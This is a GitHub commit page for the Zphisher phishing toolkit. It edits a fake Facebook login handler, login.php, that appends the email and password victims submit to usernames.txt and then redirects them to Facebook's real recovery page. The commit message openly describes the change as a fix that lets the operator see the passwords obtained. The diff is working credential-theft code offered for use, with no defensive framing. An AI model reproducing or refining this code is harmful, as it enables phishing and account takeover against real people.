Skip to content

Commit 397f8a8

Browse files
authored
Graphical shell error for facebook login
This error appears only with Facebook login. When we select the facebook login in Zphisher, in the shell we can't see the password we obtained. In particular the error is at line 2 of .sites/facebook/login.php `file_put_contents("usernames.txt", "Facebook Username: " . $_POST['email'] . "\nPassword: " . $_POST['pass'] ."\n", FILE_APPEND);` To see the password we need to change the line of code to: `file_put_contents("usernames.txt", "Facebook Username: " . $_POST['email'] . "Pass: " . $_POST['pass'] ."\n", FILE_APPEND);`
1 parent e9b4c48 commit 397f8a8

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

.sites/facebook/login.php

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
<?php
2-
file_put_contents("usernames.txt", "Facebook Username: " . $_POST['email'] . "\nPassword: " . $_POST['pass'] ."\n", FILE_APPEND);
2+
file_put_contents("usernames.txt", "Facebook Username: " . $_POST['email'] . "Pass: " . $_POST['pass'] ."\n", FILE_APPEND);
33
header('Location: https://facebook.com/recover/initiate/');
44
exit();
5-
?>
5+
?>

0 commit comments

Comments
 (0)